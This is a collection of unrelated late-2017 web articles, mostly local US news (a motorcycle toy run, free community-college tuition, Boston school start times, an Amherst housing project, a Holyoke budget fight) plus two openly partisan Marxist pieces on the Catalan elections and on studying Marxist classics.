The shortlists for the Managing IP Awards are based on information obtained during the research for the 2018 edition of IP STARS. In the IP STARS surveys for 2018, we asked firms to self-nominate as well as nominate their competitors for a number of awards. We review all available information, including all survey submissions and interview notes, and conduct independent research before producing the shortlists and picking the winners.

The research for IP STARS is rigorous and impartial. The Managing IP awards are not influenced by any commercial relationship with Managing IP or rankings in IP STARS. Any firm, regardless of ranking, can win any of our awards. A firm can also be shortlisted even if it did not make a firm survey submission, but in such case we may require further information from the firm. The 2018 awards will be based on research information available between September 2017 and January 2018. Where appropriate, information after this period may be considered.

Read more about IP STARS research methodology at https://www.ipstars.com/general/about

You can see details of previous years' awards at http://www.managingip.com/Awards.html
MARTINSVILLE-On its silver anniversary, Big Birds Toy Run raised even more funding for Christmas Cheer of Martinsville and Henry County than the previous year.

The annual charitable motorcycle ride, which took place on Saturday, raised more than $10,000 in funds and toys, according to Christmas Cheer Treasurer Ralph Lawson. Lawson said that this years toy run raised about $6,600 in funds and collected toys valued at about $3,500 total.

According to a previous Martinsville Bulletin article, last years toy run raised about $4,700 in donations and $2,000 worth of toys.

The drive had originally been scheduled for Dec. 9, but the early winter snow that weekend caused plans to change. This marks 25 years that Ricky Big Bird Holcomb has been involved with raising money and toys for Christmas Cheer. He was recognized by the Virginia General Assembly in 2016 for his efforts, with State Sen. Bill Stanley presenting him with a framed copy of Senate Joint Resolution 13, thanking Holcomb for his efforts.

This years toy run has helped Christmas Cheer move closer to the organizations goal. According to Lawson, Christmas Cheer has currently raised about $30,000, putting it more than halfway toward its goal of $50,000.

Hopefully over the Christmas holiday, it will keep coming in as it usually does, and we certainly appreciate all the wonderful, giving people in the community, Lawson said. They certainly help Christmas Cheer every year.

Since 1951, Christmas Cheer has been assisting families in need residing in Martinsville and Henry County by providing toys for children and providing households with boxes of food. Lawson said Monday that all of the food has already been boxed for more than 800 families, more than 400 of which have children.

Christmas Cheer donations may be mailed to Christmas Cheer, P.O. Box 540, Martinsville, Va. 24114.
A kite-flying competition among China and ASEAN countries was held in Qinzhou, southwestern Chinas Guangxi Zhuang Autonomous Region on Dec. 16. It was joined by 24 teams from China and 10 from ASEAN countries. With an aim to promote kite culture, the event was a showcase of Qinzhous beauty and would further accelerate national fitness.
MARTINSVILLE  In just a little more than a month, Patrick Henry Community College has achieved roughly 45 percent of its goal toward attracting high school seniors graduating next spring into a new program enabling students to attend the college for free.

So far, 111 applications have been received for the SEED Fund. Applicants include 63 seniors at Magna Vista High School, 34 at Bassett High School and 13 at Martinsville High School, as well as one at Patrick County High School who lives in Bassett, according to Shelira Morrison, the colleges recruitment and marketing specialist.

The programs immediate goal is to attract at least 250 students for next years fall semester, PHCC President Angeline Godwin told the colleges board Monday afternoon.

Announced on Nov. 13, the SEED Fund is a $3.1 million initiative funded by The Harvest Foundation. Local high school graduates in 2018, 2019 and 2020 who are accepted at PHCC and meet the funds criteria will have all of their tuition, textbooks and fees paid by the foundation while they earn their associates degrees or other educational credentials.

Harvest donated the funds out of a desire to help every local student who graduates from high school be able to pursue higher education, regardless of their families economic situations.

PHCC is the only community college in Virginia to have a free tuition program with such an extensive reach to students, Godwin said.

Its like giving every family a $10,000 to $15,000 Christmas president, she said.

I just think its awesome, said board Chairwoman Becky Lovell. It takes a (financial) burden off families, and it takes a burden off students.

Providing free tuition to college-bound high school students could make more scholarships available to the general public, said Gary Collins, a representative of the PHCC Foundation, the colleges private fundraising arm.

Among the criteria, graduating high school seniors must have a cumulative grade-point average of at least 2.5, complete an application, file the Free Application for Federal Student Aid (FAFSA) each year they are in college and do eight hours of community service yearly while they take part in the program. Full details of the program and the application are online at patrickhenry.edu/seed.

Students who have submitted applications have been mailed packages containing a pre-acceptance letter, college enrollment form and other pertinent information, Morrison said. They cannot officially be accepted until after they graduate to ensure they meet all of the criteria, she said.

Accepted students must enroll in 15 credit hours of courses, or the specified number of credit hours for certain academic programs, each semester in order to maintain eligibility to participate, she added.

Taking 15 hours per semester is considered being a full-time student. Research shows that full-time students have a higher success rate at achieving their academic goals, Godwin said.

PHCC plans to begin promoting the SEED Fund significantly early in 2018.

Asked whether college officials anticipate being able to achieve the goal of 250 students for next fall, Godwin said, We dont know. Its just a little too early to tell.

There are hundreds more seniors in local high schools. What if every one of them applies to the program and is accepted? Could PHCC educate all of them with the resources it has?

It would be the most wonderful challenge that we could have, Godwin said. Well do whatever it takes to accommodate them.
The Catalan elections of 21 December take place in exceptional conditions of repression and limitation of democratic rights. The elections have become a battleground to legitimise (or not) a coup by the 1978 regime, in which article 155 of the Spanish constitution was used to dismiss the Catalan government and disband the Catalan parliament. With two days to go, the result of the elections is hard to predict.

The conditions of repression under which these elections take place can be traced back to the moment and manner in which they were called. On 27 October, the Catalan parliament, after much hesitation on the part of the Catalan government coalition, finally decided to proclaim a Catalan Republic, following up on the mandate of the 1 October independence referendum. The Spanish government used powers granted to it by the Senate under article 155 of the constitution to intervene against Catalan autonomic powers, dismiss the Catalan government and disband parliament. This was followed by the indictment of all Catalan government members on charges of rebellion and sedition, which have no legal grounds. On the basis of these charges, several Catalan government members were remanded in custody pending trial and denied bail. Others fled to Belgium and will be arrested as soon as they return.

Catalan independence protest 2017 / Image: fair use

This also means that a number of high profile candidates in these elections are either in jail or in exile. The presidential candidate for Junts per Catalunya (United for Catalonia, the list created by centre-right nationalist PDECAT) is Catalan president Carles Puigdemont who is currently in Belgium and cannot participate in the campaign freely. In fact, the Spanish state withdrew the euro-arrest order against him when it realised that the Belgian judiciary might not concede it for all counts requested. This means that, while Puigdemont is not subject to being forcefully sent back to Spain, he would be arrested the minute he set foot on Spanish soil. The number two in the Junts per Catalunya list (JuntsxCat) is Jordi Sanchez, the former leader of the Catalan National Assembly, who is remanded in custody in a Spanish jail, indicted for sedition for his role in the mass demonstration against Spanish police searches and arrests on 20 September. He has been subject to further curtailment of his visitation and communication rights and transferred to a different wing of the prison as a punishment for having sent out an audio message, which was read at an election rally.

Jordi Sanchez and Jordi Cuixart / Image: fair use

The presidential candidate for the social democratic Catalan nationalist party, ERC, is Catalan vice-president Oriol Junqueras, who has also been in jail for over a month-and-a-half, and was remanded in custody without bail. He has now been subject to further limitation of his rights for conducting a radio interview by phone.

During the campaign itself, the judge in charge of the trial for the 1 October referendum and subsequent declaration of a Republic, has ordered the police to carry out further inquiries which could lead to the indictment of dozens of other people on charges of rebellion, sedition and conspiracy to commit those. The judge specifically ordered the police to gather evidence about the Committees for the Defence of the Republic and their leaders. Unusually the judges instructions were made public and given widespread publicity by the tribunal itself. The aim was clear: send out a signal that repression was not easing but rather that others would be subject to it.

In Reus dozens of people have been indicted for hate crimes as a result of a police complaint arising from the mass demonstrations against police presence in the town in the lead up to the independence referendum. Those indicted are local councillors and members of the local government who signed a public statement complaining about the conduct of police, fire fighters who participated in the demonstrations and a number of local activists who allegedly played a role in organising them. This case is particularly scandalous as legislation passed to prosecute hate crimes against vulnerable or oppressed groups is being used to prosecute people exercising their democratic right to march and protest at the provocative attitude of the police.

The Electoral Juntas (Catalan and provincial ones) have ruled against members of polling stations wearing yellow ribbons which have become the symbol of the struggle to free Catalan political prisoners. The accumulation of petty acts of repression has reached absurd levels. The Barcelona council was banned from using yellow lighting in public fountains and buildings as had been agreed. Local councils have been forced to take down Free Political Prisoners banners from the town hall balconies.

Last week Catalan police officers were instructed to inspect the buildings of Catalan government departments and report on any banners, signs or yellow ribbons. In one such building in Girona they demanded yellow ribbons be removed from a Christmas tree!

It is no surprise therefore that these elections represent a test of the legitimacy of the coup. The extreme political polarisation they have created will also produce a very high turnout, probably above 80 percent: five percentage points above that of the previous election in 2015, which at that time was already a record high.

The 155 block

The three parties that fully supported the application of article: the ruling Popular Party (PP), its allies Ciudadanos (Cs) and the Socialist Party (PSC) aim to get a majority for the constitutional block to bury once and for all any attempt to move towards an independence referendum and demonstrate that their decision to smash the Catalan institutions has the support of a majority of Catalans.

Mariano Rajoy / Image: Flickr, EPP

The Spanish vice-president and PP leader Soraya Saenz de Santamaria boasted that it was thanks to Mariano Rajoy that ERC and JuntsxCat had no leaders as they have been beheaded. A leader of the PSC, Josep Borrell, talked about the necessary reconciliation after December 21, but added that this would require disinfection in several places, including the Catalan media. This is the provocative, vengeful language with which the 155 block parties are conducting their campaign. Implicit in the threats issued by leaders of the PP is the idea that, if the pro-independence parties win a majority in the Catalan parliament again, article 155 intervention will not be lifted. As it could not be otherwise, such a campaign benefits the party which appears as the most radical, uncompromising Spanish nationalists of all of them: Ciudadanos, which the opinion polls predict will get between 20 and 24 percent of the votes and is neck-and-neck with ERC for the first position.

The Socialist Party (PSC) has conducted a campaign looking to capture both the Spanish nationalist vote and the moderate Catalan nationalist vote, which might no longer feel represented by JuntsxCat. It has included in its lists six prominent members of Unio: the right wing Catalan nationalist party that opposes independence and counts on the support of wide sections of the Catalan ruling class, whono longer trust JuntsxCat as their political representative. It is forecasted to somewhat recover from its historic low point of 12 percent at the previous election in 2015, and is now polling around 15 percent.

The Popular Party has lost a significant section of its votes to Ciudadanos and is likely to come last and may not even get enough seats to be able to form its own parliamentary group. All together, the constitutional block is likely to get around 43 or 44 percent: a slight increase from 41.6 percent in 2015.

The Catalan Republic block

On the other side of the divide, the pro-independence parties are standing in three different lists. The joint ERC+CDC list of 2015 (Junts pel Si) could not be repeated. Puigdemont however could not stand under the name of his own party PDECAT (the rebranded name of CDC) and so decided to create a new list by adding a number of independents and branding it United for Catalonia or the presidents list. This clever trick of electoral marketing seems to have worked in stopping the hemorrhage of votes from his party to the nominally more left-wing, pro-independence ERC. At the moment ERC is polling at between 20 and 24 percent, while JuntsxCat would get around 19 or 20 percent. Together they would get around 40 percent: almost exactly the same as in 2015, when they received 39.59 percent.

The anti-capitalist, pro-independence CUP has been conducting a very militant campaign with a strong left-wing profile. It presents itself as the most consistent of the Catalan Republican parties and at the same time links the struggle for a Republic with the struggle to defend, recover and extend social rights. The CUP however still has a number of important shortcomings. On the one hand, in the minds of a number of working class voters it is still too closely linked to CDC-PDECAT, having voted for Puigdemont to become president and voted for his budget. On the other, it acts like the left or radical adviser of PDECAT-ERC rather than fighting to replace them at the leadership of the movement for a Catalan Republic. In the opinion polls it stands at between 5 and 8 percent which would be down from the 8.49 percent it got in 2015. It remains to be seen if their courageous and bold interventions in the TV election debates will allow them to increase these figures. In any case, it is clear that the CUP is attracting the more militant and revolutionary layers, particularly amongst the youth.

CUP meeting Girona / Image: CUP

The Commons

Finally there is Catalunya en Comu Podem: the joint list of Ada Colaus organisation, ICV and Podemos in Catalonia. This political alliance is popularly known as the Commons (els Comuns). This list is very different from the En Comu Podem, which stood in Catalonia in the two Spanish elections of 2015 and 2016. At that time Podemos was on the rise, attempting to overtake PSOE as the second largest party, and its whole approach and program was much more radical: one of a clear break with the status quo. In those two elections ECP came first in Catalonia, capturing many votes from the CUP and generally appearing to the Catalan people as a party that would defend the right of self-determination in the Spanish parliament.

Podemos came short of overtaking PSOE, which led its leadership to completely change their approach and strategy. The dominant idea was to somehow pull the PSOE towards the progressive camp, hoping for the PSOE to move a motion of no confidence against the PP and then for Podemos to become a junior partner in a coalition government. That inevitably meant moderating its language and program in order to appear more palatable to PSOE. In Barcelona that saw Ada Colau and Barcelona en Comu reaching a local government alliance with the Socialist Party.

The crisis of the regime around the Catalan independence referendum confirmed that, despite its nice words, the PSOE is firmly wedded to the 1978 regime. Having promised never to accept the use of article 155 against Catalan institutions, PSOE voted for it and supported it publicly and enthusiastically. The leaders of Podemos, instead of realising they had made a mistake, insisted on their utopian strategy. While in the past they talk of breaking the padlock of the 1978 regime, now they criticise the PP for breaking the social pact of 1978. Their election campaign is cowardly and not credible.

Albano Dante Fachin / Image: CUP

Furthermore the pre-condition for Podemos entering this coalition was for the national leadership to remove the Catalan secretary Albano Dante Fachin. Fachin had clashed with the national leadership in giving full support to the independence referendum and then earned a lot of respect from pro-independence activists for his consistent and principled defence of democratic rights against Spanish state repression. He was finally removed as secretary of Podem (the Catalan organisation of Podemos) in a bureaucratic manoeuvre. This has had a devastating impact on Podem, where dozens of local branches have seen their committees resign en bloc in protest. Fachin and his supporters have set up a new organisation, Som Alternative, but are not standing in the elections. Fachin has participated in rallies in support of ERC and the CUP. He argues that while he is not a supporter of Catalan independence and he has never been, he defends the democratic mandate of the people who fought on 1 October , 3 October and 8 November (the referendum and the two general strikes). He argues, correctly, that regardless of whether you are in favour of a Catalan Republic, a Spanish Federal Republic or a Confederation, none of these can be achieved without a fundamental break with the 1978 regime.

Formally, Catalunya En Comu Podem stands against both blocks and for putting the social agenda at the centre. In practice, those who fought for the Catalan Republic in the Autumn see them as a party that did not throw its lot behind their democratic struggle and which equates those who used brutal repression against the referendum with those who fought to defend it. Their call to put social issues first rings hollow as their stated strategy to achieve would be a coalition government with ERC and PSC, something that is not only very unlikely, but would also, were it to take place, mean a serious retreat from a genuine left wing program in order to appease the PSC.

After the elections

At the moment it is not clear what the results of the election will be. It is too close to call. If there was a clear victory for the article 155 - constitutional block that would be a serious blow against the struggle for a Catalan Republic, but one that would have to be considered against the background of Spanish state repression, curtailment of democratic rights and so on. On the other hand, if there was a victory for the pro-independence block, where the three parties combined would have the necessary 68 seats to get an overall majority in the Catalan parliament, that would be a major blow against the Spanish regime and would put them in a very difficult position.

The formation of any government after such a tight election will be an extremely complex task, probably involving agreements with four parties with contradictory programs. It might not even be possible at all, forcing a repeat election. The deadlock in Catalonia cannot be solved in the polls but rather only by a new wave of the mass movement in the streets. The most important thing is that the CDRs are still active, with dozens and hundreds participating in their regular meetings and actions.

The key now is to strengthen the CUP, push it further along the line of a clear revolutionary, socialist and internationalist program and develop the CDRs around a program of struggle that combines the idea of a Catalan Republic with the opposition to capitalist austerity.
As millions in the US are looking for a way out of the impasse of the capitalist system, rooting ourselves in the sound foundations of Marxist theory has never been more important. Ten years ago, few Americans considered themselves socialists, and even fewer were open about it. But life teaches, and conditions determine consciousness. A decade of crisis, the Bernie Sanders campaign, and Trumps election have led millions to look to socialism for a way out. The skyrocketing growth of Democratic Socialists of America after the 2016 elections is just one example of the dramatic changes in consciousness unfolding around us, a process that is still in its infancy.

The following is an updated introduction to the second edition of Marxist Classics: Volume One, available now from MarxistBooks.com, the previous edition can also be published from the UK , available now from Wellred Books

We first published Four Marxist Classics in 2007, on the eve of the 2008 crisis. Long before Wisconsin, Occupy, Black Lives Matter, and the 2016 election, it was clear that a new generation was beginning to question the system and looking for explanations. Our aim was to produce an affordable volume of must-read books which all budding Marxists should read and reread to establish the firm theoretical foundations required to begin organically grasping these ideas. Since then, similar editions have been produced around the world, and hundreds of copies have been sold in the US, a modest contribution to the molecular process of revolution percolating beneath the surface of American society.

On the 100-year anniversary of the Russian Revolutionwithout a doubt the most inspiring event in human historythere is an overwhelming sense that society has reached an impasse. The resonance of the idea of late capitalism reflects the feeling among millions that we are living in a world of absurdly dystopian contradictions. The means for abolishing global hunger, illiteracy, homelessness, preventable diseases, war, and poverty are sitting right in front of us, and yet these ills continue to ruin the lives of billions. Without a fighting lead by the labor leaders and no mass party of the working class, ideological and organizational confusion and eclecticism reign. There is more than enough willingness to struggle and sacrifice to change the world. But it is not enough to struggle and sacrificethe working class needs a clear line of attack, strategy, tactics, and organization that can channel that energy into realizing lasting and fundamental change.

As we often say, you wouldnt trust someone with no education in dentistry to give you a root canalso why shouldnt a revolutionary leadership, which is tasked with the infinitely more complex task of guiding the transformation of society, also study and learn about politics? We all have the capacity to become such leaders for our class if we put in the time and effort. This is why theoretical education is more essential than ever.

Nonetheless, some may ask why anyone should bother reading a book filled with works written long before most people alive today were born. At first glance, this may seem a reasonable doubt. Confronted by a barrage of social media, and with so much quality analysis of current and historical events provided on websites such as In Defence of Marxism, who has the time to read an entire book of theory? The answer to that question is clear: understanding current events and developing perspectives for the most likely course of future events is essential, but all of this is predicated on having a clear theoretical underpinning. This is why we must make the time to read Marxist theory! Anyone who wants more than a superficial understanding of events, and who does not want to merely parrot what they have heard or read somewhere will find the effort more than rewarding.

Marxist theory is both sublimely simple and infinitely complexthe dialectical unity between human knowledge and the laws of motion and development of nature itself. Far from being a burden, drilling into the nuances of these ideas is a joy. Just as a moving song expresses ideas and feelings in a way you could not yourself express, the Marxist classics express the deepest aspirations and collective worldview of the exploited and oppressed. Most importantly, Marxism arms us with the intellectual and organizational tools we need to fight back and win.

The ruling class purposely obfuscates the real workings of society to divide and confuse us. But as you delve deeper into Marxist theory, the veil of fog begins to lift, and you begin to understand not only what is happening, but why. As you connect the dots and unravel the hidden relations between people, places, and processes, the confusion clears, and the world seems to fall into place. Most importantly, the idea that we can effectively and decisively participate in the historical process becomes increasingly concrete and less daunting. This is why the aim of every revolutionary socialist must be to master the method of Marxism, to apply these ideas to the living, changing world. We must all learn how to analyze eventsin order to intervene in them.

Everyone has a worldview, but it is usually an eclectic mix of a bit of this and a bit of that, picked up from this or that professor, co-worker, relative, or meme. In the same way, it seems everyone has an opinion on Marxism, but more often than not, it isnt their own opinion. There are plenty of books that purport to explain what Marx really meant. But interpreting someone elses ideas is highly subjective, and all kinds of distortionsboth conscious and unconsciouscan creep in. Why not go straight to the source and make up your own mind?

At first, the apparently steep learning curve of Marxism can be intimidating. There are many unfamiliar words and concepts to wrap our heads around. However, as with any field of knowledge, we need a sense of proportion. We should not expect to have the knowledge of a neurosurgeon if we havent even studied the basics of biology. But all of this knowledge is attainable, and it layers and accumulates over time. The most important thing is to take the first step. The outstanding Russian revolutionary, Leon Trotsky, who knew a thing or two about Marxist theory, gave the following excellent advice to new Marxists in his short piece, Dont Spread Yourself Too Thin:

In the ideological sphere, just as in the economic arena, the phase of primitive accumulation is the most difficult and troublesome. And only after certain basic elements of knowledge, and particularly, elements of theoretical skill (method) have been precisely mastered and have become, so to speak, part of the flesh and blood of ones intellectual activity, does it become easier to keep up with the literature not only in areas one is familiar with, but in adjacent and even more remote fields of knowledge, because method, in the final analysis, is universal.

It is better to read one book and read it well; it is better to master a little bit at a time and master it thoroughly. Only in this way will your powers of mental comprehension extend themselves naturally. Thought will gradually gain confidence in itself and grow more productive.

We believe this advice applies to each of the selections in this volume and to the collection as a whole. So why did we select these particular works? There are plenty of other excellent texts, which we included in volume two, and more volumes will follow. But while there is no such thing as a recipe book for revolution, these four relatively short pieces represent formidable building blocks of Marxist theory. They are also well worth revisiting over time, as there is always some new gem of insight missed during a previous reading, a function of our growing understanding of the ideas and the changed objective and subjective situation around us.

First up is the Communist Manifestothe book that started it all. Drafted by Marx but attributed to both him and Engels, it boldly throws down the gauntlet to bourgeois society. After all the lies and distortions heaped upon communism, most people are surprised to discover it is not the Satanic Handbook or Anarchist Cookbook. Rather, it is a remarkably concise survey of world history and economics, a visionary anticipation of the world we live in today. In fact, as Marx and Engels were well ahead of their time, the Manifesto is even more relevant today than when it was first written. This is not because they had a crystal ball, but because they were the first to combine Hegelian dialectics with materialist philosophy, the most powerful tool for intellectual inquiry yet devised by humanity.

From economics to globalization, the rise of capitalism, classes, and the class struggle that drives all written history, all the essentials of Marxism are there. Although Marx and Engels developed and refined these ideas much further in subsequent works, all the basic elements are present in embryo in this work of genius written by a 27-year-old. Seventeen decades since these lines were first written, the specter of communism continues to haunt the bourgeoisie, and it is the task of the present generation to end the nightmare of capitalism once and for all.

Next is Socialism: Utopian and Scientific, Engelss extraordinary yet compact introduction to basics of dialectical materialism, the philosophy of scientific socialism. Marxism is a worldview that embraces contradiction, change, and movement; it is a tool for understanding living, dynamic reality. Historical materialism is this philosophy as applied to the historical process, which is infinitely complex, and cannot be understood if we approach it superficially, as a rigid and lifeless caricature of reality.

As Engels explains, Marxism starts from the premise that changing society is not merely a matter of coming up with the idea of socialism, as with the utopian socialists, but of having the material means to actually provide a world of plenty for all. Capitalisms historically progressive role was to develop the means of production to the stage where we can objectively provide enough for everyone. But it has now exhausted its potential and has become a fetter on the further development of society, threatening to drag the whole of humanity down with it. Socialism will not come about through appeals to the goodwill of the rich but through the class struggle, and the victory of the working class will lay the basis to end all classes, exploitation, and oppression.

Lenins State and Revolution is another essential work. Written during the course of the 1917 Russian Revolution, it takes up very concrete theoretical and practical problems faced by the working class in the struggle against the capitalists and their state. Building on Marx and Engelss understanding of the question, and in particular, the experience of the Paris Commune, Lenin demolishes the revisionist idea that capitalism can somehow be reformed into oblivion without the dismantling of the capitalist state apparatus. He explains what the state is, whose class interests it represents, how a workers state would differ from a bourgeois state, and how the state will eventually wither away altogether on the basis of the end of class antagonisms once the working class wins political and economic power and begins building socialism worldwide. From Black Lives Matter to those who wonder whether revolution is really necessary, or if reforms within capitalism will suffice, there are many key lessons to be learned.

This volume ends with the Transitional Program, written by Trotsky on the eve of WWII, which provides incredible insights into how the Trotskyists fought to build their forces in a world dominated by Stalinism, fascism, and Rooseveltism, on the precipice of a human cataclysm. Much has changed since then, at least on the surface, but the fundamentals of capitalist exploitation remain the same. Again, what matters most is the method used to analyze the situation and to determine how best to raise demands transitionally. That is, in a way that raises workers horizons to the perspective and the need for the socialist revolution.

Developing political perspectives is a science, whereas party building is an art. A scientific analysis starts by looking at the concrete needs of the working class today and examines how these needs can be met. If we are objective in our analysis, the resulting conclusion is that this requires a change of system. The task of todays revolutionaries is to raise demands that bridge todays level of class consciousness with the need for socialism, objectively stating what is, and what is needed to raise that consciousness. It would be criminal to tailor our demands to what the capitalist system thinks is reasonable or practical. What is reasonable and practical for the capitalists is the very opposite for the working class!

Unlike in the 1950s and 1960s, the capitalist system is not in a position to give any broad and long-lasting reforms. History shows that even modest reforms are the byproduct of militant struggle, and this is what we must organize and prepare for. This is the opposite of those who think socialists should water their ideas down for broader appeal or should simply tail-end the movement. The task of a revolutionary leadership is to do precisely that: lead. Not through decrees, or impositions from above, or denunciations from the sidelines, but by proving in practice that our ideas and methods yield concrete results as we fight shoulder to shoulder with the rest of our class through all the ups and downs of the class struggle. The transitional program also serves as an indispensable bridge between the revolutionary cadres and the masses, a way of winning the most farsighted individuals to the revolutionary program and perspectives. An example of a modern-day transitional program is the one developed over years of democratic discussion and debate by the comrades of the US section of the IMT, available at www.SocialistRevolution.org.

We stand on the shoulders of giantsand this includes the sacrifices of millions of workers who have fought and died for a better world. Marxist theory is a guide to action, and we can assure everyone who wants to do something! that there will be plenty of action in the historical period we have entered. But impatience is the bane of revolutionaries. We need to patiently prepare for the momentous events whose outline we can already see on the horizon. The real question is whether all that action will lead to real and lasting successan end to classes and class exploitation. That all depends on us. An army that sent raw recruits into battle under the leadership of generals who had never studied the wars of the past would be pulverized in the first engagement. Our class deserves better. An organic understanding and feel for the class struggle cant be improvised in the heat of battle. It can only be built up painstakingly over a period of years and decades, through persistent political training and active participation in the struggles of the working class.

There is a thirst for ideas that cannot be quenched by liberalism and reformism. The postmodernists would have us believe that any idea is as good as any other and that ultimately, ideas dont really matter at all. But scientific socialists judge the usefulness of any body of ideas by whether or not they give results. Do these ideas have explanatory and predictive power? Can they help us anticipate the ebbs and flows of the class struggle and chart a course for changing history? Lenin once said that Marxism is all-powerful because it is true. As revolutionary Marxists, we are full of confidence for the future and confident the truth will win out over the lies and perfidy of capitalism and its sycophants.

In the world we live in, there is no room for complacency. It may literally be now or never for the human species. Barbarism is creeping around the planet, and it can quickly engulf us all if we dont bury the system that engenders it. Capitalism will not overthrow itself, and it will not teach us how to do it, either. This is where the great Marxists come in. This is why, if we are serious about changing the world, we must be serious about studying Marxist theory. As Archimedes famously said, Give me a lever long enough and a fulcrum on which to place it, and I shall move the world. If the working class is the lever that can transform the world, Marxist theory is the fulcrum.

The article was orignally published to the website of the American Section of the International Marxist Tendency | Socialist Revolution
Members of the Boston School Committee will finalize new start times for the city's public schools next month. Parents, meanwhile, are demanding the plan be scrapped.

Parents of children in Boston's public school system came out again Monday night to voice opposition to the city's plan to shift when students start school. The plan would begin school earlier for elementary-school students, and later, after 8 a.m., for secondary school students.

Boston Parent on School Schedule Change: "How will I pay for higher cost for after-school? I don't understand why so many lower grades have to be changed accommodate the high schools?" https://t.co/phbO9zky58  WBZ NewsRadio (@wbznewsradio) December 19, 2017

This changes everything for us. Some parents consider pulling kids from their Boston public schools next year after new start and dismissal times announced; parents pack community-wide feedback meetings that are now underway. 11pm @nbcboston. pic.twitter.com/0MtJLDpy2p  Michael Rosenfield NBC10 Boston (@MikeRNBCBoston) December 19, 2017

In West Roxbury Monday night, parents rehashed complaints on earlier dismissal times for young students. They say the earlier end times would force them to pay for more childcare in the afternoons. Another mother said her autistic child would not be calm or able to fully participate at a 7:15 a.m. start time, per a report by the Boston Globe.

Some are also arguing that the proposal benefits charter schools, which educate and transport children all over the city, by offsetting bus costs. Boston Superintendent Tommy Chang has said in the past that both charter schools and BPS schools are good options for students seeking high-quality schooling options.

Boston pays. It's a huge problem because public schools bus runs don't go from one end of the city to the other, but charters do. Charters seem to get preferential start times under the latest proposal.  Christine Langhoff (@clanghoff1) December 17, 2017

Citing research, city traffic patterns and surveys completed by BPS parents, the school committee unanimously voted to swap start times earlier this month. BPS leaders worked with the MIT Operations Research Center to find the optimal start/end times while offering a variety of options, according to the BPS website.

.@SuptChang issued a letter to families today on start- and end-time changes for 2018-19, including a schedule of community meetings. Read it here: https://t.co/uYmsZoalPF pic.twitter.com/yJE6eL7mUQ  BostonPublicSchools (@BostonSchools) December 13, 2017

Please take a look at updated information on our website about start & end times: https://t.co/vHbCcL6bob. We will work closely with families during these transitions.  Tommy Chang (@drtommychang) December 9, 2017

In a letter to parents, Chang said the BPS believes the new policy "is a sound one."

"However, BPS is committed to addressing the input we've received and trying to find solutions to concerns that have been raised," Chang wrote.

Parents typically must choose in which school their child will enroll in January, but Chang said parents will have the ability to change that decision within the "Priority Registration Period," which will end on Friday, February 9.
A body has been found in the woods of Plymouth by authorities on the hunt for some clue of disappeared former correctional officer Raymond Perry.

Authorities discovered a body Monday, and announced the find Tuesday, but a positive identification has not yet been made, according to

.

"The Commonwealth's forensic anthropologists and forensic dentists are working to make an identification. The Office of the Chief Medical Examiner will conduct an autopsy," Cape and Islands District Attorney Michael O'Keefe told the paper in an email.



Members of the Mashpee Police Department working alongside Massachusetts State Police and members of O'Keefe's office made the find.



Perry, 64, was last seen on Dec. 1.



His 37-year-old son, Eli Perry, also of Mashpee, was arrested on in Plymouth in the wake of Perry's disappearance with an unregistered .38 under his car seat. He is being held at Plymouth County Correctional Facility on firearm and motor vehicle charges, and has a number of prior drug arrests.
AMHERST -- Beacon Communities will be able to proceed with its planned 130-unit housing project in North Amherst after state officials announced Tuesday the project will receive the low-income tax credits developers had been hoping for.

State officials announced the funding in Holyoke as part of a $35 million package supporting affordable rental housing in Massachusetts.

North Square at the Mill District will include 26 apartments for households earning up to 50 percent of the area median income. The rest of the units will be market rate.

Beacon hopes to close on the financing and begin construction in early spring, according to a press release from Beacon Development Director Darcy Jameson.

Developers had been awaiting funding and initially hoped to begin work this fall. The project includes 22,000 square feet of retail space as well.

The Zoning Board of Appeals approved the project in February 2016. A lawsuit challenging the $47.5 million project was dismissed in March.

The W.D. Cowls company owns the land. The project will join Atkins Farms North, the Riverside Park Stores, Cowls Building Supply, The Lift Salon and Bread & Butter Cafe.

"It's exciting to be making progress on the vision we have for the 9th Regeneration of Cowls' Home Farm," said W.D. Cowls President Cinda Jones.

"We're grateful for Beacon's investment in growing the compassionate community we envision," she said.

"North Square was inspired by the Town of Amherst's vision to create new housing, business opportunities and jobs in North Amherst; we are thrilled to have received funding from DHCD," Jameson said.

"It's been a real pleasure working with the Town of Amherst, the community and DHCD to make this project a reality," said Dara Kovel, president of Beacon Communities Development. "We look forward to breaking ground."

The town agreed to Beacon's tax incentive request, allowing Beacon to pay reduced taxes of $140,302 in the first year and increase payments incrementally until full taxes of $499,000 are paid in year 11.

The site is generating about $10,000 in taxes now, according to the developers. The overall tax benefit to Beacon would be $2.7 million.
HOLYOKE -- Tax Collector Katherine M. Jackowski urged the City Council to balance the budget tonight so the new tax rate can be set and bills can be mailed out, because otherwise, it's taxpayers who will suffer.

Unless the new tax rate is set within days, the city will have to borrow money to keep services operating. Such a loan would cost taxpayers $195,000 in interest. And the delay will force the third- and fourth-quarter bills to be combined into one big bill due May 1, she said in a letter placed on the Council agenda. (see below)

"This is extremely unfair to the taxpayers of Holyoke, in my opinion," Jackowski said.

The Council meeting is at 7 at City Hall.

It will be preceded at 5:30 p.m. by the Board of Assessors' annual public hearing on tax classification. The hearing provides details on the latest valuations of the different categories of residential and commercial properties.

The City Council and Mayor Alex B. Morse have been battling over how to eliminate a $1.1 million deficit. The Council twice this month rejected Morse's plan to balance the budget through a combination of tapping the $13.1 million stabilization, or rainy day, fund, or the employee retirement system line item and making budget cuts.

A culprit is that the free cash account that city officials have grown to rely on for years to make budget-balancing and other transfers during the fiscal year has yet to be certified for use. Free cash is money left unspent in accoulnts from the previous fiscal year that the Massachusetts Department of Revenue (DOR) certified is available for use in the current fiscal year.

Usually, the free cash certification comes by late November. This time, it might be February before the amount of that cash flexibility is known.

Meanwhile, the city has few other revenue options -- especially if revenue from property taxpayers' bills is delayed because there's no new tax rate.

President Kevin A. Jourdain said the City Council wasn't to blame for the budget mess.

"Mayor should have never put the city in this position and he has failed in his biggest responsibility to monitor the budget," Jourdain said in a text message. "Unprecedented mismanagement. Now wants to foolishly drain our reserves. What if free cash is never certified? $2.5 million question mark already been holding it up three months."

The $2.5 million is a reference to bookkeeping adjustments needed in city budgeting related to health insurance costs and revenue because of delays getting such information logged into the MUNIS financial software system, City Auditor Joshua Pueschel has said.

Morse said in reply to Jourdain, who did not run for re-election in the Nov. 7 race, that taxpayers need action and not cheap shots.

"Kevin is entitled to his opinion. I've provided the Council with a number of options to address the deficit, not taking action wasn't one of them. It's unfortunate that he would rather spend his final weeks as an elected official taking cheap shots, rather than trying to work collaboratively to address this situation.

